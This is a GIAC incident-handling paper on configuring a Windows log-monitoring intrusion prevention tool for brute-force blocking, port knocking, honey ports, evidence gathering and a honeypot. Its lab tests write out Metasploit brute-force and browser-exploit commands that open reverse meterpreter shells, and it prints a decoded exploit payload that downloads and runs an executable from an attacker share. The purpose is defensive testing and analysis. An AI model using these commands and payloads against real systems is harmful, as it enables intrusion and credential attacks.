Event Monitoring and Incident Response

Ryan Boyle

EVENT MONITORING AND INCIDENT RESPONSE

GIAC (GCIH) Gold Certification

Author: Ryan Boyle, randomrhythm@rhythmengineering.com
Advisor: Rodney Caudle

Accepted: March 22nd 2013

Abstract

Ever wish you could observe, report, and react in a timely manner after an event occurred? Evidence information can disappear after time has passed and attacks can cause further harm if allowed to continue. The speed and manor in which you react can have an affect on the outcome. Using a Host Intrusion Prevention System (HIPS) can help prevent attacks from occurring, stop attacks in progress and gather evidence. This paper will cover configuring and implementing a Windows based log file monitoring HIPS. Using the HIPS to block remote password brute force attempts, leverage port knocking, work with a honey port, and work as part of a honey pot to gather evidence and report the incident to ISPs.

1. Introduction

System security policies can still have security holes after implementation and may even introduce unintended consequences. By identifying those risks, policies can be built upon and extended by use of HIPS controls to accomplish more granular policy enforcement. This allows security holes to be filled and help mitigate the negative impact of a security policy.

This paper stems from multiple incidents of password guessing attempts on a system which had RDP exposed over port 3389. The effects of the password guessing experienced was excessive amounts of failed logon attempts, locked out accounts and large amounts of connections on port 3389 from a single IP. Not wanting to accept these attacks and the affects as normal expected behavior, a solution to combat the problem was developed. This evolved into Rhythm Host Intrusion Prevention System (RHIPS), which was written as the engine to drive the solutions this paper details (Boyle, 2013c). While the log file monitoring software utilized was written for this project, comparable software could be supplemented. Additional scripts and tools are also utilized to tie back into the log file monitoring application.

1.1. RHIPS Overview

RHIPS was written as a visual basic application modeled after some event monitoring VB scripts openly found on the internet (Craig, 2012; Anderson, 2009). In its basic form, the script could match given criteria to an event notification and generate an alert. Counters were added to keep track of how many event matches occurred in a given period of time. In addition to alerting on event matching, the application allows for an action to be taken.

The RHIPS software contains several executables. The two main ones are the front end GUI for configuration editing, and the back end engine which processes the events. The engine can be installed as a service to ensure it starts up with the system (Merzlikin, 2004). In the GUI, new rules can be created to match events on event ID, source, category, type, user and description. Within each rule a number of instances before alerting, the number of instances to kick off action, the action to take, correlate IP

address and gather evidence can be specified. The action to take can be configured as an email or a user specified command. Also a timed user specified command can be run after the initial action has executed.

1.2. Implementing HIPS Rule

Make sure the basics are implemented and working within the environment before moving forward with HIPS deployment. Policies should be defined, procedures setup and documented (Lawson, 2012). Infrastructure should be on a mitigation cycle. Best practices should be followed where possible to secure and lock down the environment. Configuring a HIPS when there are OS and network security holes is not going to help that much.

Start by setting a goal which can be something like secure service X running on port Y, or prevent attack Z. That is great if a specific idea comes to mind of how to accomplish the goal but keep an open mind to other possibilities. Once one or two ideas have been pinned down to meet the goal, check that the functionality is there or can be produced to in some way. At this point not everything needed may be ironed out. As information comes in the strategy might change.

Set a baseline of what normal system behavior should be so that deviations from the norm can be detected. Base-lining normal behavior is a good security practice. The baseline should include data relevant to the goal such as firewall logs for a particular service. Once the baseline data has been gathered, analyze the baseline to gain a better understanding of the normal behavior occurring on the system.

Review the system policies and extend them to cover the goal that was set. This should map to the HIPS rule that will be created while taking into account the baseline that was analyzed. Set the detection, alert, and action fields using the information from previous steps. Once configured confirm the outcome is the expected and planned result. Try to think of unintended flaws in the implementation. If flaws are found loop, back to the appropriate previous step and continue through the process again.

The HIPS action needs to fall in line with incident response policy and procedure. Processes should be built for incident responders around the HIPS alerts/logs. While

HIPS can take action on an incident, it does not perform the whole incident handling process. If everything checks out, implement the new rule.

HIPS should be configured uniquely for the different system types. For example, a workstation should be configured differently than a file server as they serve different roles. Keep in mind the kinds of use the system receives along with its value or sensitivity while building the HIPS rules. Utilizing the baseline build upon or extend the system policies applied to those systems.

For instance, if there is a file server with baseline showing heavy file sharing use and serves up critical data, outages of this service should be avoided. The user account lockout policy on the system is set to 3 failed logon attempts. The HIPS is set to block the source IP after 10 failed logon attempts within 1 minute limiting the amount of accounts one system can lock out. This approach is adequate unless all the traffic is coming from one system with multiple users such as a terminal server. An assessment may be needed at this point. A process could be put in place around this, or a decision made to adjust the rule to create a whitelist of terminal servers that the block will not apply to.

1.3. RHIPS Actions

Adding custom actions allows for an email alert to be sent out or run a specified external application. When running an external application, tokens can be passed in the command line. The %EDT% token will be replaced with the event's date and time where the %CDT% token will be replaced with current date and time. The %LIP% will be replaced with the local IP address. The %EDTF% and CDTF% produce the same output as %EDT% or %CDT% but formatted to replace spaces, colons, and forward slashes. The %RIP% token will be replaced with the remote correlated IP address. Two blocking actions will be used for this project. The first was utilized for Windows systems that do not have the ability to block a specific IP address. To supplement this change the routing table via the route command:

route -p add %RIP% mask 255.255.255.255 192.168.0.254

The above command adds a persistent route for the correlated IP address going to an unused IP address in the routing table. This is similar to a Null Route, or a black hole

approach ("Null Route", n.d.). Traffic sent to the remote IP address will be routed to the non responsive address and dropped. This will prevent any response making it to the remote IP address. To remove the block enable the timed task on the action to run the below command and set the time period to wait before removing the block:
route delete %RIP%

The second block action is for Windows Vista and greater. It utilizes the netsh advfirewall command to add a rule to block the remote IP within the Windows Firewall (Microsoft, 2012e):
netsh advfirewall firewall add rule name="RHIPS%RIP%" dir=in remoteip=%RIP% action=block

Remove block from Windows firewall:
netsh advfirewall firewall Delete rule name="RHIPS%RIP%"

For Windows XP and 2003 to allow a specific IP in the firewall (Microsoft, 2009):
Netsh firewall add portopening tcp 3389 RDP_RHIPS enable custom %RIP%

Remove allow firewall rule:
delete portopening protocol=all port=3389

To allow a specific IP in the firewall for Windows Vista, 2008 and greater:
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

Remove allow firewall rule:
netsh advfirewall firewall delete rule name="Open Port 80" protocol=tcp localport=80

2. Honey Port

Guilty by association does not always work 100% of the time. If a trip wire is set and someone trips it that does not necessarily mean they are guilty. One way to handle this is to make it against policy to trigger the trip wire. This removes it from being considered accidental and thus it will deviate from being considered a normal event. Then anything caught associating can be accused an incident and action taken. John Strand (2012) touched on this in his everything they told me about security is wrong presentation. In his example, a script is run to check for full TCP connections to port X and blocking the associated remote IP address.

The company implementing this would have a policy that any IP associating with port X on the systems would be blocked. The company should also have procedures around the triggering of these events tied back into the corporate incident handling policies and procedures. Alerts should be generated and reviewed. Once reviewed, action may need to be taken such as further steps to eliminate the threat or removing the block once the threat has been dealt with.

This can introduce some risk. Even with this being company policy, an unknowing or malicious user could cause some serious harm in certain situations. Since blocking any computer could cause a DoS, consider building a whitelist of machines and ports that can not be blocked. If that is not a fit, use some other variation to prevent problems such as alert only or not using this rule at all. Different systems can hold different value and perform different roles which need to be taken into consideration. This is why a risk assessment should be included (Jones, 2012).

If considering writing a whitelist function, it might be a good idea to alert when a whitelisted host sees a violation. If the event is still considered out of the norm but there is a need to prevent interruptions of services, alerting will allow for manual response.

This is a good example of what can be done with RHIPS. (start netcat with a batch that creates an event when someone connects to it or use program that logs netstat results every 5 seconds). Honey port can be useful to prevent scanning enumeration and stop an attack before it moves to the next phase. For example, move the RDP port off 3389 and replace it with a honey port. Anyone wanting to attack the system over RDP would likely connect to that port first before trying against other open ports.

2.1. Honey Port Example

For the Honey Port example, a netcat listener and calling EventCreate within a batch are used to tie back into the HIPS (Microsoft, 2012f). To verify an established connection netstat is queried before executing Event Create (Skoudis, 2008, 2009, 2010). For compatibility with Windows Vista and 7 Ncat, a modern netcat implementation was substituted (Lyon, 2009). The event created is uniquely identifiable for the HIPS to key off of for identification.

(CreateEvent.bat):

```
@echo off
for /f "tokens=1" %%i in ('netstat -n ^| find ":80" ^| find /c "ESTABLISHED"') do if not %%i equ 0 EVENTCREATE /L APPLICATION /SO "Rhythm Host Intrusion Prevention System" /ID 101 /t Information /d "A connection has been made to port 80.">nul
```

Netcat command to start the listener:

```
nc -d -L -p 80 -e CreateEvent.bat
ncat –k -l -p 80 -e CreateEvent.bat
```

Now that the information to identify the incident has been obtained, a rule in the HIPS can be created. Using the information in the EVENTCREATE command filter to event ID 101 in the Application Event Log with an event source of “Rhythm Host Intrusion Prevention System” and containing the sub string “port 80.”. Set the number of instances before alerting to 0, set number of instances to kick off action to 1, select the action to block specific IP, and choose to get IP address using port 80. Since Netcat is listening on port 80 tell the HIPS when alerting and responding to correlate the event with port 80 which populates the %RIP% token with the remote IP address making the connection.

The honey port should react the first time the event occurs, which is accomplished by setting the number of instances to kick off action to 1. The only behavior the rule is

looking for is a TCP full connection before creating an event so it should not have to go back very far in the logs. Given this set the number of time to go back in the logs for IP correlation to 0 seconds. Matching the time stamp helps with lowering false correlations.

To test the honey port, any TCP network scanner can be used to generate a TCP full connection to the honey port. First, start the netcat listener to launch the create event batch file when a connection is made. Second, generate the full TCP connection to the netcat listener port. Third, check that the action was executed properly. If successful the remote IP generating the connection to the honey port should have been blocked. If the action was unsuccessful, check the event log to ensure the honey port was triggered and check HIPS logs for further information.

3. Service Port Pre-authentication

Blocking a network service to remote hosts is in general a good idea. It reduces the attack surface of the system running the service. Using a firewall to control the access is a standard practice. However, given the nature of network services, they will likely need other systems to access them. Holes then need to be poked in the firewall rules to allow specific hosts access to the network service.

There may come an occasion when a network service needs to be accessed from a host that is not in the firewall allowed rule list. In this situation access needs to be gained to change the firewall rules. If physical access is not an option something will likely need to be exposed to the internet. Exposing the service to everything on the internet could make it a tempting target for attackers, so perhaps exposing something less tempting would be a lower risk.

Microsoft has a great solution for RDP called network level authentication (Microsoft, 2012a). Using NLA forces the authentication to occur before the full RDP connection can be established (Microsoft, 2012c). This feature however is not available for all services. Using port pre-authentication, access to the service is blocked for all systems but allows the ability to unlock the port after remote authentication occurs.

3.1. Port Knocking

Port knocking has several different implementations (Krzywinski, 2012). There are many creative ways to approach port knocking however, this particular implementation sticks to the basics. A series of network port connections are made and if done in the right order the hidden port is opened to the source IP address. The authentication is started by connecting to a netcat listener, which launches the Port Knock Verifier (Boyle, 2013b). The Port Knock Verifier compares the windows firewall log against the preset list of connections. If a match is made, the connecting IP address gets added to the firewall allowed list for the restricted port.

3.2. Port Knocking Example

The Port Knock Verifier requires the Windows firewall be set to log connections and dropped packets:

Windows XP:

netsh firewall set logging filelocation=%windir%\pfirewall.log connections=enable droppedpackets=enable

Windows Vista and 7:

netsh advfirewall set allprofiles logging droppedconnections enable

Port Knock Verifier requires several parameters to perform the authentication. The first parameter is the port(s) that the tool will be looking for. When more than one port is specified it will be separated by comma with no spaces. The ports should be in the order of the knock sequence from first to last. On Windows Vista and 7, this required something listening on the ports and the firewall configured to block or allow for the packets to be logged.

The second parameter is the firewall action associated with port number specified in the first parameter. The firewall action is represented by a two character code. The first character will either be an “a” for accept or a “d” for drop. The second character specifies the protocols which are “t” for TCP, “u” for UDP, and “i” for ICMP. If more than one

port was specified, the two char firewall action codes should be comma separated and should not contain spaces.

The third parameter is the rule name. This will be inserted in the event that gets logged when a successful knock occurs. This part of the rule is used to uniquely identify this instance of an authenticated port knock. It is also the name of the firewall rule that will be created if a port is specified in parameter 5. Since the Windows XP firewall overwrites rules with the same name, consider adding a token of the remote IP address (%RIP%).

The forth parameter is the time period in seconds to go back in the logs to match the port knock pattern. The remote system will have to start and complete the port knock within this time frame. The fifth parameter is optional and specifies the port to be opened to the remote machine.

See the below example of a batch file to launch port knock verification (Skoudis, 2008, 2009, 2010).

(CheckKnock.bat):

@echo off

for /f "tokens=1" %%i in ('netstat -n ^| find ":30548" ^| find /c "ESTABLISHED"') do if not %%i equ 0 EVENTCREATE /L APPLICATION /SO "RHIPS" /ID 101 /t Information /d "Rhythm Host Intrusion prevention System - A connection has been made to port 30548.">nul

Port_Knock_Verifier.exe 1274,48305,9463,6168,30548 dt,dt,dt,dt,at Allow_Port_Knock 35 4321

The command to run the netcat listener:

nc -L -p 30548 -e CheckKnock.bat

ncat –k -l -p 30548 -e CheckKnock.bat

To perform the port knock a simple batch script will work:

```
@echo off
start nc -z -d -w 1 192.168.17.102 1274
start nc -z -d -w 1 192.168.17.102 48305
start nc -z -d -w 1 192.168.17.102 9463
ping 127.0.0.1 -n 1 >nul
start nc -z -d -w 1 192.168.17.102 6168
ping 127.0.0.1 -n 15 >nul
nc -d -w 1 192.168.17.102 30548
```

The ping command is used as a delay function to ensure the tcp full connection is logged last (Skoudis, 2008). For netcat to execute the script on the last port connection the –z parameter must not be used. Executing the listener and then running the port knock sequence from a remote host should trigger an event in the application log and add a firewall entry with the name Allow_Port_Knock allowing port 4321 to the remote IP.

```
Rhythm Host Intrusion Prevention System - Port Knock Authenticated
Rule Name=Allow_Port_Knock
IP=192.168.17.122
```

Using the information in the EVENTCREATE command filter to event ID 101 in the Application Event Log with an event source of “Rhythm Host Intrusion Prevention System” and containing the sub string “port 30548.”. Set the number of instances before alerting to 0, set number of instances to kick off action to 4, set the number of time to go back in logs for event aggregation to 30 minutes, select the action to block specific IP,

choose to get IP address using port 30548. Ensure the action to block has a 30 minute timer to remove the block firewall rule. This essentially acts as a lock out policy for the port knock authentication. If within 30 minutes, 4 connections are made to the honey port used by the port knock sequence the remote system will be block for a 30 minute time period.

Using the information in the EVENTCREATE command filter to event ID 101 in the Application Event Log with an event source of "Rhythm Host Intrusion Prevention System" and containing the sub string "Rule Name=Allow_Port_Knock". Set the number of instances before alerting to 0, set number of instances to kick off action to 1, select the action to allow specific IP, and choose to get IP address using port 30548. Configure the action that creates the firewall allow rule with a 2 hour timer to remove the rule. This will ensure that the firewall allow rule is not left open to the IP address that authenticated using the port knock.

4. Remote Password Guessing

If an incident (an adverse event that deviates from the norm) can automatically be identified and reacted to with the predefined incident handling process, then efficiency is gained. This moves to a more proactive stance from a reactive and response time to incidents can be dramatically reduced. Automation may only be able to be applied to certain events, but automating some of it can be a big gain for both better security and less time spent looking into event.

Some may just accept an event as being the norm, such as logon attempts to an internet facing SSH, but ignoring the event may be costly if the system is not locked down properly and a hole is found. Applying best practice hardening/lock down and monitoring the configuration for changes can go a long way for a secure environment (Hite, 2009). Keep in mind that the lockdown can affect functionality and ease of use as the security, functionality, ease-of-use triad explains.

Instead of letting an attacker continually perform a brute force against remote logon, block them after so many attempts. Brute force can have many affects. For

instance, if the system logs such events this can fill up the log with many entries which require sifting through and could cause the logs to roll. It was noticed with the Morto worm that it could have 30-45 minutes of logon attempts logged with over X amount of logon attempts. Also the firewall log showed a lot of traffic due to the brute force reconnects.

Account lockout works well against brute force attacks, but does create a DoS situation for the account being locked out, and given enough DoS attacks against various accounts, could cause a DoS on the help desk. The effects of this were seen with the release of conficker.b into an internal domain (Porras, Saidi, & Yegneswaran, 2009). Some accounts that do not lock out (such as the domain administrator) should be disabled or logon attempts closely monitored. If a lockout can be applied on the offending IP address this can limit the amount of locked out accounts one system can cause. Blocking the remote host performing password guessing can help prevent further password guessing, which could lead to a successful guess.

4.1. Block RDP Password Guessing Example

For this example, filter to a logon type of 10 as that is the type for RDP (Lee & Faculty, 2012; Smith, 2013). Enable audit account logon events and audit logon events policies for both success and failure.

Windows XP:

For detection filter to Event IDs 529 and 539 in the Security Event Log with a Source of Security, Category of Logon/Logoff, audit failure Type, from any user, with Description containing Logon Failure and substring of “Logon Type:%TAB%10”.

Windows Vista/7/2008:

For detection filter to Event ID 4625 in the Security Event Log with a Source of Microsoft-Windows-Security-Auditing, Category of Logon, Audit Failure Type, from any user, with Description of “An account failed to log on.” and substring of “Logon Type:%TAB%%TAB%%TAB%10”.

For alerting and response configure number of instances to kick off action to 4, restrict timeframe of event instances to 30 seconds, action to take Block IP Route, Get IP address using port number 3389.

To test RDP brute force blocking this example will use TSGrinder but a similar tool such as DUBrute could be substituted (4don4i 2012). TSGrinder requires being an old version of RDP client and has a dependency of roboclient. The below command can be used to trigger password guessing using the dictionary with leet speak substitution (wcosug, (2008):

tsgrinder.exe -w dict -l leet -u testLogon 192.168.17.102

The result from this test is that TSGrinder's attempts to logon are detected and before it could start its second round of logon attempts access was blocked.

4.2. Block SMB Password Guessing Example

For this example filter to a logon type of 3 as that is the type for network logon (Lee & Faculty, 2012; Smith, 2013).

Windows XP:

For detection filter to Event IDs 529 and 539 in the Security Event Log with a Source of Security, Category of Logon/Logoff, audit failure Type, from any user, with Description of Logon Failure and substring of "Logon Type:%TAB%3".

Windows Vista/7/2008:

For detection filter to Event ID 4625 in the Security Event Log with a Source of Microsoft-Windows-Security-Auditing, Category of Logon, Audit Failure Type, from any user, with Description of "An account failed to log on." and substring of "Logon Type:%TAB%%TAB%%TAB%3".

For alerting and response configure number of instances to kick off action to 4, restrict timeframe of event instances to 15 seconds, action to take Block IP Route, Get IP address using port number 445.

Metasploit's smb_login module is used to execute the brute force logon attempts (Offensive Security Ltd., 2012):

Use auxiliary/scanner/smb/smb_login
Set PASS_FILE /root/Desktop/pass.txt
Set USER_FILE /root/Desktop/users.txt
Set THREADS 16
Set BRUTEFORCE_SPEED 5
Set RHOSTS 192.168.1.204
run

The results of this were that the logon brute force was blocked after 40 logon attempts.

5. Gathering Evidence

When an incident is identified gathering evidence can be important. Take the honey port example: Of course it is a good idea to log evidence of the honey port connection as it violates policy, but it is also worth considering what other evidence may be useful to gather. Some evidence is volatile and the sooner a copy is made the better (Henry, 2009). The list of network connections, process table, caches, routing table, logs can all change (Brezinski & Killalea, 2002).

5.1. Microsoft EMET

Monitoring for application crashing can be a good thing. Software applications can contain bugs, which cause them to crash in certain situations. A crash can also mean a failed attempt at exploitation or a DoS attack. If one of the system's applications is crashing gathering evidence around that can help determine root cause. Particularly interesting is application crashes caused by mitigations preventing exploitation such as those provided by Microsoft EMET.

Microsoft EMET allows someone to apply mitigation technologies such as DEP, ASLR and heap spray protection to executables (Microsoft Corporation, 2012). These mitigations work as active defenses against certain attacks helping prevent successful exploitation (Microsoft, 2011). When the executable launches EMET applies the specified mitigation technologies and monitors the events. Microsoft EMET will log blocked exploitation attempts to the application log at the error level with a source of EMET.

For this example, a system vulnerable to ms12-063 is used. Apply HeapSpray mitigation via EMET to Internet Explorer on the vulnerable system.

Windows XP:

For detection filter to Event ID 2 in the Application Event Log with a Source of EMET, Type of error, with Description containing “mitigation and will close the application:” and substring of “iexplore.exe”.

Windows Vista and 7:

For detection filter to Event ID 1000 in the Application Event Log with a Source of Application Error, Type of Error, with Description containing “Faulting application” and substring of “iexplore.exe”.

For alerting and response, configure number of instances to kick off action to 0 and action to take to “get evidence”. The “get evidence” action executes the below batch script passing it the %CDTF% token (Savill, 2000):

Netstat /naob > "c:\Documents and Settings\All Users\Application Data\RandomRhythm\RHIPS\Evidence\%1_netstat.txt"
ipconfig /DisplayDNS > "c:\Documents and Settings\All Users\Application Data\RandomRhythm\RHIPS\Evidence\%1_dnscache.txt"
wmic process list > "c:\Documents and Settings\All Users\Application Data\RandomRhythm\RHIPS\Evidence\%1_proclist.txt"
arp -a > "c:\Documents and Settings\All Users\Application Data\RandomRhythm\RHIPS\Evidence\%1_arpcache.txt"

route print > "c:\Documents and Settings\All Users\Application Data\RandomRhythm\RHIPS\Evidence\%1_routetable.txt"
ipconfig /all > "c:\Documents and Settings\All Users\Application Data\RandomRhythm\RHIPS\Evidence\%1_ipconf.txt"

Metasploit's MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability exploit is used to trigger the EMET notification (Rapid7, 2012):
Use exploit/windows/browser/ie_execcommand_uaf
Set PAYLOAD windows/meterpreter/reverse_tcp
Set LHOST 192.168.1.106
Exploit

On the vulnerable system, browse to the Metasploit given URL and the exploit will commence. The result is EMET blocks the exploit attempt. On XP EMET also logs that HeapSpray mitigation was detected, and reports it is closing the instance of Internet Explorer. On Windows Vista and 7 an event is created for iexplore.exe crashing. RHIPS matches the detection rule to the Windows event and triggers the get evidence batch file. As the batch file executes, it outputs copies of the network connection data, DNS cache, process list, ARP cache, routing table and IP network configuration.

Analyzing the process list output in Windows XP confirms which iexplore.exe PID is the crashed process as dumprep.exe is shown creating error info for the specific PID (Microsoft, 2005). In Vista and 7 converting the PID identified in the application crash event from hex to decimal reveals the crashing process. The output of netstat shows active connection from the identified iexplore.exe PID to the Metasploit host. The TCP connection to the remote Metasploit host is also seen in the windows firewall log as opening at the same event time as the EMET notification.

The data collected in response to the incident can be correlated with other evidence from the incident. The process that crashed is the Internet Explorer web browser. Examination of the temporary internet files cache reveals two HTML documents with creation times that match the event time of the EMET notification (Lee

& Faculty, 2012). The index.dat shows the URLs for the temporary files are from the same IP as the Metasploit host.

5.2. Software Policy Restrictions

Not all folders on a system should be allowed to execute code. There are certain directories that either should only contain non-executable data or simply the executable content within the folder should never be executed. For this, consider configuring Windows Software Restriction Policies rules to block and allow execution. Preventing execution from these identified directories can reduce attack surface and be used to identify potentially malicious activities.

Monitoring for software restriction policy violations in the Windows Event Log can give a heads up about suspicious activity on a system. Directories such as the recycler, Windows Fonts the printer spool should set off alarms when files attempt to execute out of them (Hoglund, 2012). Reviewing these events can also identify blocked applications that legitimately need to execute. When an incident is encountered a review of the policy and tweaks may be necessary.

There are several approaches to using software restriction policies for improving system integrity. The main options when enabling software restriction policies are unrestricted, which allow execute based off access rights and disallow which prevents running software regardless of access rights. Once set additional rules can be configured to allow or deny at a more granular level. Choices for rules are hash, certificate, path and zone. The example used will focus only on the use of path rules.

There are several options for software restriction policies. The most secure way to configure software policy restrictions is to default to disallowing all and specifying the exceptions to be allowed also known as a whitelist approach.

For this example a Windows XP system vulnerable to ms10-042 is used however instructions for Windows Vista and 7 are included. Apply software policy restriction for the following to be disallowed on the vulnerable system:

Windows XP:
%HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Local Settings%

Windows Vista and 7:

%HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Local AppData%

Windows XP, Vista and 7:

For detection filter to Event IDs 866 in the Application Event Log with a Source of Software Restriction Policies, Type of warning, with Description containing "has been restricted by your Administrator by location with policy rule"

For alerting and response, configure number of instances to kick off action to 0 and action to take to "get evidence".

Metasploit's MS10-042 Microsoft Help Center XSS and Command Execution Vulnerability exploit is used to trigger the software policy restriction notification (Rapid7, 2010):

use exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.106
set LPORT 4443
exploit

On the vulnerable system browse to the Metasploit given URL and the exploit will commence. The result is Windows software restriction blocks the script execution. The event is logged, informing access to the executable has been restricted by your Administrator by location policy rule placed on the path. RHIPS matches the detection rule to the Windows event and triggers the get evidence batch file. As the batch file executes it outputs copies of the network connection data, DNS cache, process list, ARP cache, routing table and IP network configuration. The alert generated gives the path to the file that was attempting to be executed:

Event ID: *866*

Date/Time: 12/10/2012 18:19:29

Computer: NAME-F1849859EE

Event Log: Application

Event Source: Software Restriction Policies

Event Category:

Event Type: warning

User Name:

Message:

Access to C:\DOCUME~1\TESTAD~1\LOCALS~1\Temp\Bz.vbs has been restricted by your Administrator by location with policy rule {533a1a49-3274-4e09-b1fe-81c0c064510b} placed on path C:\Documents and Settings

Analyzing the evidence collected starting with process list output a process stands out from the others due to the long command line:

"C:\WINDOWS\PCHealth\HelpCtr\Binaries\HelpCtr.exe" -FromHCP -url
"hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%
uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFF
FF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF
%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uF
FFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF
%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uF
FFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF
%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uF
FFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF
%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uF
FFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..\..\sysinfomain.ht
m%u003fsvr=<script
defer>eval(unescape('Run%28String.fromCharCode%2899%2c109%2c100%2c32%2c4
7%2c99%2c32%2c101%2c99%2c104%2c111%2c32%2c87%2c83%2c99%2c114%2c10
5%2c112%2c116%2c46%2c67%2c114%2c101%2c97%2c116%2c101%2c79%2c98%2c

106%2c101%2c99%2c116%2c40%2c34%2c87%2c83%2c99%2c114%2c105%2c112%2c116%2c46%2c83%2c104%2c101%2c108%2c108%2c34%2c41%2c46%2c82%2c117%2c110%2c32%2c34%2c99%2c109%2c100%2c32%2c47%2c99%2c32%2c99%2c111%2c112%2c121%2c32%2c92%2c92%2c49%2c57%2c50%2c46%2c49%2c54%2c56%2c46%2c49%2c46%2c49%2c48%2c54%2c92%2c75%2c92%2c73%2c84%2c46%2c101%2c120%2c101%2c32%2c37%2c84%2c69%2c77%2c80%2c37%2c32%2c38%2c38%2c32%2c37%2c84%2c69%2c77%2c80%2c37%2c92%2c73%2c84%2c46%2c101%2c120%2c101%2c34%2c44%2c48%2c44%2c102%2c97%2c108%2c115%2c101%2c62%2c37%2c84%2c69%2c77%2c80%2c37%2c92%2c66%2c122%2c46%2c118%2c98%2c115%2c124%2c99%2c115%2c99%2c114%2c105%2c112%2c116%2c32%2c37%2c84%2c69%2c77%2c80%2c37%2c92%2c66%2c122%2c46%2c118%2c98%2c115%2c62%2c110%2c117%2c108%29%29%3b'))</script>"

The Unicode and character codes in the command line look suspicious. Using a basic character code array decoder, the character codes are converted into characters (Boyle, 2012):

cmd /c echo WScript.CreateObject("WScript.Shell").Run "cmd /c copy \\192.168.1.106\K\IT.exe %TEMP% && %TEMP%\IT.exe",0,false>%TEMP%\Bz.vbs|cscript %TEMP%\Bz.vbs>nu

After converting the character codes the file software policy restrictions prevented from running is shown being created. Tracing back the parent PID of HelpCtr.exe reveals iexplore.exe as the process launching HelpCtr.exe with the long parameter of codes. Checking the netstat output for the PID of iexplore.exe lists an established network connection to the backtrack server.

6. Honey Pot

Honey pots can act as an early warning system for a network informing the operator of potentially malicious behavior. This system typically does not have any legitimate reason for someone to access it. Any remote connection attempt could be considered abnormal and provide reason for suspicion. Recording the events and

collecting data for analysis can provide needed data to not only identify, but respond to incidents.

6.1. Honey Pot Configuration

For this honeypot example, a Windows XP system was used for the honeypot however filter instructions for Vista and 7 are included. Administration of the honey pot is done through the console session. The built-in Administrator account was renamed to allow that name to be used by a non-privileged account. User account Administrator was created on the honeypot and was removed from the users group. Also, Authenticated Users group was removed from the users group (Smith, 2005). A weak password of "password" which is commonly exploited by network worms was used to allow for remote access (Bitton, 2011; Cluley, 2009; Valderama & Manahan, 2012).

This honeypot system was placed on a separate network than the production network. This separate network has no access to the production network (Grimes, 2005). A NAT address on the production network is forwarding SMB ports (TCP+UDP/137:139, TCP+UDP/445) to the honeypot system. DCOM port 135 was forwarded to allow remote DCOM WMI access (Microsoft, 2012b). Dynamic RPC ports were remapped to a static range on the honeypot system (Microsoft, 2012d). This allowed forwarding the specified ports on the firewall to the honeypot. All these ports were also opened on the honeypot's Windows Firewall.

Even with ports opened RPC was not functioning properly. One workaround was to add the host to DNS, but if a system on the network was not configured to use that DNS server the problem would still occur. A choice was decided to allow traffic to route through the firewall to the honeypot subnet address (Simmons, 2005). This allows for production network systems to connect directly to the honeypot's network address but prevented connections from being initiated the other direction.

So from the honeypot perspective it is communicating with the connecting client. From the client perspective it is communicating with a system connected to the production subnet which is actually the NAT on the Firewall. When RPC is invoked communication can occur from the client to the honeypot directly in order to transfer

needed RPC data. However the honeypot is prevented by the firewall to initiate connections to systems in the production subnet.

DCOM permissions were modified to allow the restricted Administrator account launch and activation permissions along with and remote access permissions. Granting DCOM permissions allow the restricted administrator account to remotely access the system over RPC. WMI Control permissions were also modified to grant the account Remote Enable permissions to the ROOT/CIMV2 namespace (Microsoft, 2012g). The WMI permissions change allows the account to query Win32_Share in the ROOT/CIMV2 namespace for share enumeration (Microsoft, 2012h).

This configuration opens up the honey pot to allow some of the interactions expected with a Windows host. With that, consider installing security patches to prevent remote exploits that are commonly exploited by worms. The honey pot should be closely monitored using the tools and scripts of choice. Approval should be received before adding a honey pot to a network.

Enable the audit object access policy for both success and failure. Create a folder and modify the permissions to allow ANONYMOUS LOGON and everyone groups read and write permissions. Deny execute and delete permissions to the restricted administrator account. Configure a network share named “open” on the folder granting change and read permissions to ANONYMOUS LOGON and everyone groups. Repeat to create a second share but grant permissions to Administrator instead of ANONYMOUS LOGON.

Windows XP:

For object access audit logging detection, filter to Event ID 560 in the Security Event Log with a Source of Security, Category of Object Access, any Type, from any user and with any description. For logon event detection, filter to Event ID 680 in the Security Event Log with a Source of Security, Category of Account Logon, any Type, from any user and with any description.

Windows Vista and 7:

For object access audit logging detection, filter to Event ID 4656 in the Security Event Log with a Source of Microsoft-Windows-Security-Auditing, In Vista use event category of Other Object Access but in Windows 7 use category of File System, any Type, from any user and with any description. For logon event detection, filter to Event ID 4776 in the Security Event Log with a Source of Microsoft-Windows-Security-Auditing, Category of Account Logon, any Type, from any user and with any description.

6.2. Honey Pot Example

For successful network logon detection filter to Event IDs 540 in the Security Event Log with a Source of Security, Category of Logon/Logoff, audit failure Type, from any user and with any description. To test the SMB/CIFS honey pot the tool CIFS File Drop Tester will be used (Boyle, 2013a). This is in place of releasing an actual virus or worm onto the network. The tool utilizes WMI over RPC to log in and connect to the remote system. Once authenticated it then can enumerate network shares, attempt to drop a specified file to the share(s), and attempt to execute the dropped file(s). Any file can be used to drop on the network share but a non-malicious one such as eicar was used. An alternative to CIFS File Drop Tester which does not require RPC is PsExec from Sysinternals/Microsoft. However, PsExec does require the use of the Admin$ share (Russinovich, 2004).

